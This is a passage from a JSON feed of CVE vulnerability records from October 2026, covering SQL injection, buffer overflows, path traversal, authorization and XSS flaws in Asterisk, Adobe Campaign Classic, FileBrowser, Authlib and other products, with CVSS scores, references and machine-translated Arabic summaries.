بُعد بقراءة كلمات مرور الفريق في الحالة كقيم غير حساسة"},"summary":{"en":"CTFer.io's CTFd Terraform Provider manages CTFd resources as code. From 0.1.5 until 2.8.2, ctfd_team.password is stored as a non-sensitive value in Terraform state. A local or remote user with access to that state can read the team password without an additional decryption step. This issue is fixed in 2.8.2.","ar":"يدير موفر CTFd Terraform من CTFer.io موارد CTFd كشيفرة برمجية. من الإصدار 0.1.5 حتى 2.8.2، يتم تخزين ctfd_team.password كقيمة غير حساسة في حالة Terraform. يمكن لمستخدم محلي أو عن بُعد لديه حق الوصول إلى تلك الحالة قراءة كلمة مرور الفريق دون خطوة فك تشفير إضافية. تم إصلاح هذه المشكلة في الإصدار 2.8.2."},"refs":[["https://github.com/ctfer-io/terraform-provider-ctfd/commit/b4acaef1df23ea3ca36936fc2d8ef8d157a58e04","ref"],["https://github.com/ctfer-io/terraform-provider-ctfd/pull/376","ref"],["https://github.com/ctfer-io/terraform-provider-ctfd/releases/tag/v2.8.2","ref"],["https://github.com/ctfer-io/terraform-provider-ctfd/security/advisories/GHSA-vg84-c5mg-76xh","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ctfer-io-terraform-provider-ctfd"},{"id":"CVE-2026-117516","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T18:17:36Z","product":"oretnom23 php-travel-agency-system","affected":[["4e28b8f84d72420373dd15c3ae32900beb7e0635",null],["2592d60d8f2c6e199f02c828c6d6fbc7b5298c96",null],["b58513f8371d098650fac656001bf8f59f795d25",null]],"title":{"en":"oretnom23 php-travel-agency-system Contact Form contact_insert.php sql injection","ar":"ثغرة حقن SQL في ملف contact_insert.php ضمن نموذج الاتصال في oretnom23 php-travel-agency-system"},"summary":{"en":"A weakness has been identified in oretnom23 php-travel-agency-system. The affected element is an unknown function of the file contact_insert.php of the component Contact Form Handler. This manipulation of the argument name/company/email/topic/phone/comments causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","ar":"تم تحديد ضعف في نظام oretnom23 php-travel-agency-system. العنصر المتأثر هو دالة غير معروفة في الملف contact_insert.php التابع لمكون Contact Form Handler. يؤدي التلاعب بالمعامل name/company/email/topic/phone/comments إلى حدوث حقن SQL. يمكن بدء الهجوم عن بُعد. تم إتاحة الاستغلال للعامة ويمكن استخدامه في الهجمات. تم إبلاغ المشروع بالمشكلة مبكرًا من خلال تقرير مشكلة ولكنه لم يستجب بعد."},"refs":[["https://vuldb.com/cve/CVE-2026-117516","advisory"],["https://vuldb.com/submit/1024624","advisory"],["https://github.com/oretnom23/php-travel-agency-system/","ref"],["https://github.com/oretnom23/php-travel-agency-system/issues/10","ref"],["https://vuldb.com/vuln/427082","ref"],["https://vuldb.com/vuln/427082/cti","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oretnom23-php-travel-agency-system"},{"id":"CVE-2026-57188","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:55:29Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: Stack buffer overflow in res_xmpp XMPP namespace prefix handling","ar":"Asterisk: فيضان المخزن المؤقت للكومة في معالجة بادئة مساحة أسماء XMPP لـ res_xmpp"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, an authenticated attacker may cause a stack buffer overflow in `res_xmpp` `XMPP namespace prefix` handling using carefully crafted packets. The `res_xmpp` module must be loaded, an XMPP connection must be configured in `xmpp.conf`, and the attacker must have an XMPP account on the same or a federated server. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"Asterisk هو نظام تبادل فرعي خاص مفتوح المصدر وأداة هاتفية. قبل الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3، قد يتسبب مهاجم يملك حسابًا مصادقًا عليه في حدوث فيضان المخزن المؤقت للكومة في معالجة `XMPP namespace prefix` داخل `res_xmpp` باستخدام حزم مصممة بعناية. يجب تحميل وحدة `res_xmpp`، وتكوين اتصال XMPP في `xmpp.conf`، ويجب أن يملك المهاجم حساب XMPP على نفس الخادم أو خادم متحد. تم إصلاح هذه المشكلة في الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f","ref"],["https://github.com/asterisk/asterisk/commit/12072a559f592736a44dd9fbe1594e84714edfb4","ref"],["https://github.com/asterisk/asterisk/commit/1328dbb503da4aa11a480a9c28e170f17e5f4e84","ref"],["https://github.com/asterisk/asterisk/commit/3c4b08cf94eeaa3faefb3ae6c2d6ce1bd9747a13","ref"],["https://github.com/asterisk/asterisk/commit/433102c16b8edfc31d28c96166fef03fe72fb923","ref"],["https://github.com/asterisk/asterisk/commit/5e626250628b2579530f3f17e7b0aa37d082873b","ref"],["https://github.com/asterisk/asterisk/commit/d570a85e45153a36919ace5d0ab06a195b30f9d1","ref"],["https://github.com/asterisk/asterisk/commit/e329a6803ac5214028f98cc5f0b7167d66e32c08","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-116682","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:48:04Z","product":"gtsteffaniak filebrowser","affected":[],"title":{"en":"FileBrowser Quantum: Symlink following escapes user scope allowing arbitrary file read outside the served directory","ar":"FileBrowser Quantum: تتبع الروابط الرمزية يتجاوز نطاق المستخدم مما يسمح قراءة ملفات عشوائية خارج الدليل المُخدّم"},"summary":{"en":"FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.5.2-stable and 2.0.1-beta, file read handling in backend/pkg/indexing/indexingFiles.go resolves symbolic links through GetRealPath without confirming that the resolved target remains inside the source root and the user's authorized scope. Download, preview, media, OnlyOffice, and public-share read flows that enable FollowSymlinks can therefore serve an out-of-scope target through a reachable in-scope symlink. An authenticated user with download access can read server-accessible files outside the assigned scope, and a holder of a public share link can do the same without an account when the shared directory exposes such a symlink. This issue is fixed in 1.5.2-stable and 2.0.1-beta.","ar":"FileBrowser Quantum هو مدير ملفات مجاني يستضاف ذاتياً ويعتمد على الويب. قبل الإصدارين 1.5.2-stable و2.0.1-beta، تتعامل معالجة قراءة الملفات في backend/pkg/indexing/indexingFiles.go مع الروابط الرمزية من خلال GetRealPath دون تأكيد أن الهدف المُحلل يظل داخل الجذر المصدري ونطاق المستخدم المصرح به. وبالتالي، يمكن لتدفقات القراءة الخاصة بالتنزيل، والمعاينة، والوسائط، وOnlyOffice، والمشاركة العامة التي تُمكّن FollowSymlinks تقديم هدف خارج النطاق من خلال رابط رمزي قابل للوصول داخل النطاق. يمكن لمهاجم يملك حسابًا مصادقًا عليه ولديه حق الوصول للتنزيل قراءة الملفات التي يمكن للخادم الوصول إليها خارج النطاق المخصص، ويمكن لحامل رابط المشاركة العامة فعل الشيء نفسه دون حساب عندما يعرض الدليل المشترك مثل هذا الرابط الرمزي. تم إصلاح هذه الثغرة في الإصدارين 1.5.2-stable و2.0.1-beta."},"refs":[["https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-mgqf-5mf5-prfj","ref"],["https://github.com/gtsteffaniak/filebrowser/pull/2795","ref"],["https://github.com/gtsteffaniak/filebrowser/pull/2800","ref"],["https://github.com/gtsteffaniak/filebrowser/commit/3c8c02414eefd3351ffe437fa39ff6eb150ffa67","ref"],["https://github.com/gtsteffaniak/filebrowser/commit/4126edeb07a015c3809a89249b283e07a4e50c38","ref"],["https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.5.2-stable","ref"],["https://github.com/gtsteffaniak/filebrowser/releases/tag/v2.0.1-beta","ref"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gtsteffaniak-filebrowser"},{"id":"CVE-2026-57197","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:17:01Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)","ar":"Asterisk: فيضان المخزن المؤقت للذاكرة الديناميكية في تشغيل ملفات OGG/Speex (format_ogg_speex)"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, an unbounded `memcpy` of `OGG/Speex` packet data in `format_ogg_speex` can cause a heap buffer overflow and crash Asterisk when reading a file containing corrupted Speex audio. The attacker must create the file and make it available to Asterisk either through sufficiently elevated privileges or by convincing an Asterisk administrator to make it available. Asterisk must also be configured to play that file. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"برنامج Asterisk هو مجموعة أدوات هاتفية ومقسم فرعي خاص مفتوح المصدر. قبل الإصدارات 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 والإصدار المعتمد Certified Asterisk 20.7-cert11 و 22.8-cert3، يمكن أن تؤدي عملية `memcpy` غير المحدودة لبيانات حزم `OGG/Speex` في `format_ogg_speex` إلى حدوث فيضان في المخزن المؤقت للذاكرة الديناميكية وتعطل Asterisk عند قراءة ملف يحتوي على صوت Speex تالف. يجب على المهاجم إنشاء الملف وإتاحته لAsterisk إما من خلال صلاحيات مرتفعة بشكل كافٍ أو عن طريق إقناع مسؤول Asterisk بإتاحته. يجب أيضًا تكوين Asterisk لتشغيل هذا الملف. تم حل هذه المشكلة في الإصدارات Asterisk 20.20.1 و 21.12.3 و 22.10.1 و 23.4.1 و Certified Asterisk 20.7-cert11 و 22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/commit/0a2c1d9e910f7c4dfffa05e328accb8a96990df8","ref"],["https://github.com/asterisk/asterisk/commit/0e6d761ed83f1671632c91805252767eae85e1a2","ref"],["https://github.com/asterisk/asterisk/commit/1cf189549994e0898954c814ce5a023cd969f1db","ref"],["https://github.com/asterisk/asterisk/commit/29026ece6fdd1834bb8f49c013ef163745ff2bbd","ref"],["https://github.com/asterisk/asterisk/commit/336ebe762bf6dfaf279796700de8ab51f7acd2f3","ref"],["https://github.com/asterisk/asterisk/commit/ccec146953b5e13043a36663af84e5a50ca633a6","ref"],["https://github.com/asterisk/asterisk/commit/dbcf38933866f0ddd023bc1814a78d4c750b0809","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-117514","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:17:00Z","product":"oretnom23 php-travel-agency-system","affected":[["4e28b8f84d72420373dd15c3ae32900beb7e0635",null],["2592d60d8f2c6e199f02c828c6d6fbc7b5298c96",null],["b58513f8371d098650fac656001bf8f59f795d25",null]],"title":{"en":"oretnom23 php-travel-agency-system Admin Record Pages customer_detail.php sql injection","ar":"ثغرة حقن SQL في صفحات سجلات المسؤول customer_detail.php ضمن oretnom23 php-travel-agency-system"},"summary":{"en":"A vulnerability was identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/customer_detail.php of the component Admin Record Pages. The manipulation of the argument costomer_id/ticket_id/emp_id/salary_id/page_id leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.","ar":"تم تحديد ثغرة في oretnom23 php-travel-agency-system. تؤثر هذه المشكلة على بعض عمليات المعالجة غير المعروفة في الملف admin/customer_detail.php التابع لمكون Admin Record Pages. يؤدي التلاعب بالمعامل costomer_id/ticket_id/emp_id/salary_id/page_id إلى حدوث حقن SQL. من الممكن بدء الهجوم عن بُعد. الاستغلال متاح للعامة وقد يتم استخدامه. تم إبلاغ المشروع بالمشكلة مبكرًا من خلال تقرير مشكلة ولكنه لم يستجب بعد."},"refs":[["https://vuldb.com/cve/CVE-2026-117514","advisory"],["https://vuldb.com/submit/1024622","advisory"],["https://github.com/oretnom23/php-travel-agency-system/","ref"],["https://github.com/oretnom23/php-travel-agency-system/issues/8","ref"],["https://vuldb.com/vuln/427080","ref"],["https://vuldb.com/vuln/427080/cti","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oretnom23-php-travel-agency-system"},{"id":"CVE-2026-117513","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:59Z","product":"oretnom23 php-travel-agency-system","affected":[["4e28b8f84d72420373dd15c3ae32900beb7e0635",null],["2592d60d8f2c6e199f02c828c6d6fbc7b5298c96",null],["b58513f8371d098650fac656001bf8f59f795d25",null]],"title":{"en":"oretnom23 php-travel-agency-system Admin Search Pages customer_search.php sql injection","ar":"ثغرة حقن SQL في صفحات بحث المسؤول customer_search.php ضمن oretnom23 php-travel-agency-system"},"summary":{"en":"A vulnerability was determined in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/customer_search.php of the component Admin Search Pages. Executing a manipulation of the argument customer_name/voucher_no/emp_name can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.","ar":"تم تحديد ثغرة في oretnom23 php-travel-agency-system. تؤثر هذه الثغرة على شيفرة غير معروفة في الملف admin/customer_search.php التابع لمكون Admin Search Pages. يمكن أن يؤدي تنفيذ التلاعب بالمعامل customer_name/voucher_no/emp_name إلى حدوث حقن SQL. يمكن تنفيذ الهجوم من بُعد. تم الكشف عن الاستغلال للعامة وقد يتم استخدامه. تم إبلاغ المشروع بالمشكلة مبكرًا من خلال تقرير مشكلة ولكنه لم يستجب بعد."},"refs":[["https://vuldb.com/cve/CVE-2026-117513","advisory"],["https://vuldb.com/submit/1024621","advisory"],["https://github.com/oretnom23/php-travel-agency-system/","ref"],["https://github.com/oretnom23/php-travel-agency-system/issues/7","ref"],["https://vuldb.com/vuln/427079","ref"],["https://vuldb.com/vuln/427079/cti","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oretnom23-php-travel-agency-system"},{"id":"CVE-2026-116672","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T17:16:59Z","product":"authlib authlib","affected":[[">= 0.15, <= 1.9.0","1.9.1"]],"title":{"en":"Authlib RFC 7592 examples omit registration-access-token client binding","ar":"أمثلة RFC 7592 في Authlib تغفل ربط العميل برمز وصول التسجيل"},"summary":{"en":"Authlib is a Python library which builds OAuth and OpenID Connect servers. From 0.15 until 1.9.1, the documented ClientConfigurationEndpoint.authenticate_client and ClientConfigurationEndpoint.check_permission reference implementations look up a target client from request-controlled client_id data and check only whether that target is editable, without verifying that request.credential belongs to the target client. Deployments following both examples can allow a client holding any valid registration access token to read, modify, or delete another client's registration. Changing redirect_uris can enable authorization code or token interception, while deleting registrations can deny service to affected clients. This issue is fixed in version 1.9.1.","ar":"Authlib هي مكتبة Python تبني خوادم OAuth و OpenID Connect. من الإصدار 0.15 حتى 1.9.1، تقوم التنفيذات المرجعية الموثقة ClientConfigurationEndpoint.authenticate_client و ClientConfigurationEndpoint.check_permission بالبحث عن عميل مستهدف من بيانات client_id التي يتحكم بها الطلب والتحقق فقط مما إذا كان هذا الهدف قابلاً للتعديل، دون التحقق مما إذا كانت request.credential تنتمي إلى العميل المستهدف. يمكن للنشر الذي يتبع كلا المثالين السماح لأي عميل يحمل أي رمز وصول تسجيل صالح بقراءة تسجيل عميل آخر أو تعديله أو حذفه . يؤدي تغيير redirect_uris إلى تمكين اعتراض رمز التفويض أو الرمز المميز، بينما يمكن أن يؤدي حذف التسجيلات إلى حجب الخدمة للعملاء المتأثرين. تم إصلاح هذه المشكلة في الإصدار 1.9.1."},"refs":[["https://github.com/advisories/GHSA-c73q-w75p-j82v","advisory"],["https://github.com/authlib/authlib/commit/1bd2a313492ce0a4d0571c150730907aa3fc91ff","ref"],["https://github.com/authlib/authlib/releases/tag/v1.9.1","ref"],["https://github.com/authlib/authlib/security/advisories/GHSA-c73q-w75p-j82v","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116672","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"authlib"},{"id":"CVE-2026-105779","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:56Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)","ar":"Adobe Campaign Classic (ACC) | تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') (CWE-89)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.","ar":"يتأثر Adobe Campaign Classic (ACC) بثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') والتي قد تؤدي إلى تجاوز ميزات الأمان. يمكن لمهاجم منخفض الصلاحيات الاستفادة من هذه الثغرة لتجاوز تدابير الأمان والحصول على صلاحية قراءة غير مصرح بها وقراءة وكتابة محدودة. لا يتطلب استغلال هذه المشكلة تفاعل المستخدم. النطاق متغيّر."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-105780","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-863","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:56Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Incorrect Authorization (CWE-863)","ar":"Adobe Campaign Classic (ACC) | تخويل غير صحيح (CWE-863)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","ar":"يتأثر Adobe Campaign Classic (ACC) بثغرة تخويل غير صحيح قد تؤدي إلى تنفيذ أوامر عن بُعد في سياق المستخدم الحالي. يمكن لمهاجم منخفض الصلاحيات استغلال هذه الثغرة لتنفيذ شيفرة عشوائية. لا يتطلب استغلال هذه المشكلة تفاعل المستخدم. النطاق متغيّر."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-105781","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-89","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:56Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)","ar":"Adobe Campaign Classic (ACC) | تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') (CWE-89)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary SQL commands, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","ar":"يتأثر Adobe Campaign Classic (ACC) بثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') والتي قد تؤدي إلى تنفيذ شيفرة عشوائية في سياق المستخدم الحالي. يمكن لمهاجم استغلال هذه الثغرة لتنفيذ أوامر SQL عشوائية، مما قد يمنحه صلاحيات مرتفعة أو تحكمًا في حساب الضحية أو جلسته. لا يتطلب استغلال هذه المشكلة تفاعل المستخدم. النطاق متغيّر."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-104350","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:55Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Cross-site Scripting (Reflected XSS) (CWE-79)","ar":"Adobe Campaign Classic (ACC) | البرمجة النصية عبر المواقع (XSS المنعكس) (CWE-79)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.","ar":"يتأثر Adobe Campaign Classic (ACC) بثغرة البرمجة النصية عبر المواقع (XSS) المنعكسة. يمكن لمهاجم استغلال هذه الثغرة لحقن شيفرات خبيثة في صفحة ويب، مما قد يمنحه صلاحيات مرتفعة أو تحكمًا في حساب الضحية أو جلسته. يتطلب استغلال هذه المشكلة تفاعل المستخدم بحيث يجب على الضحية زيارة عنوان URL مصمم بشكل خبيث أو التفاعل مع صفحة ويب مخترقة. النطاق متغيّر."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-104351","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:55Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Improper Control of Generation of Code ('Code Injection') (CWE-94)","ar":"Adobe Campaign Classic (ACC) | التحكم غير السليم في إنشاء الشيفرات ('حقن الشيفرات') (CWE-94)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","ar":"يتأثر Adobe Campaign Classic (ACC) بثغرة التحكم غير السليم في إنشاء الشيفرات ('حقن الشيفرات') والتي قد تؤدي إلى تنفيذ أوامر عن بُعد في سياق المستخدم الحالي. يمكن لمهاجم منخفض الصلاحيات استغلال هذه الثغرة لتنفيذ شيفرة عشوائية. لا يتطلب استغلال هذه المشكلة تفاعل المستخدم. النطاق متغيّر."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.0057,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-104353","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T17:16:55Z","product":"Adobe Adobe Campaign Classic","affected":[],"title":{"en":"Adobe Campaign Classic (ACC) | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (CWE-78)","ar":"Adobe Campaign Classic (ACC) | تحييد غير مناسب للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أمر نظام التشغيل') (CWE-78)"},"summary":{"en":"Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","ar":"تتأثر Adobe Campaign Classic (ACC) بثغرة تحييد غير مناسب للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أمر نظام التشغيل') والتي قد تؤدي إلى تنفيذ شيفرة عشوائية في سياق المستخدم الحالي. يمكن لمهاجم يملك صلاحيات منخفضة استغلال هذه الثغرة لتنفيذ شيفرة عشوائية. لا يتطلب استغلال هذه المشكلة تفاعل المستخدم. النطاق متغير."},"refs":[["https://www.adobe.com/trust/security/products/campaign/apsb26-162.html","advisory"]],"epss":0.013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"adobe-campaign-classic"},{"id":"CVE-2026-102637","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T17:16:55Z","product":"Autodesk Fusion","affected":[["2705.1.30 – <2706.1.14","2706.1.14"]],"title":{"en":"Fusion Protocol URL Reflected Cross-Site Scripting (XSS) in Autodesk Fusion Desktop","ar":"بروتوكول Fusion URL يعكس البرمجة عبر مواقع الويب (XSS) في تطبيق سطح المكتب Autodesk Fusion"},"summary":{"en":"A maliciously crafted HTML payload in the documentName parameter of a Fusion protocol URL, when the protocol URL is invoked by a user, can trigger a Reflected Cross-site Scripting (XSS) vulnerability in the Autodesk Fusion desktop application. A malicious actor may leverage this vulnerability to read local files or execute arbitrary code in the context of the current process.","ar":"يمكن لحمولة HTML معدة بشكل خبيث في معامل documentName الخاص بروتوكول Fusion URL، عند استدعاء بروتوكول URL من قبل المستخدم، أن تؤدي إلى تشغيل ثغرة البرمجة عبر مواقع الويب المنعكسة (XSS) في تطبيق سطح المكتب Autodesk Fusion. قد يستغل جهة خبيثة هذه الثغرة لقراءة ملفات محلية أو تنفيذ شيفرة عشوائية في سياق العملية 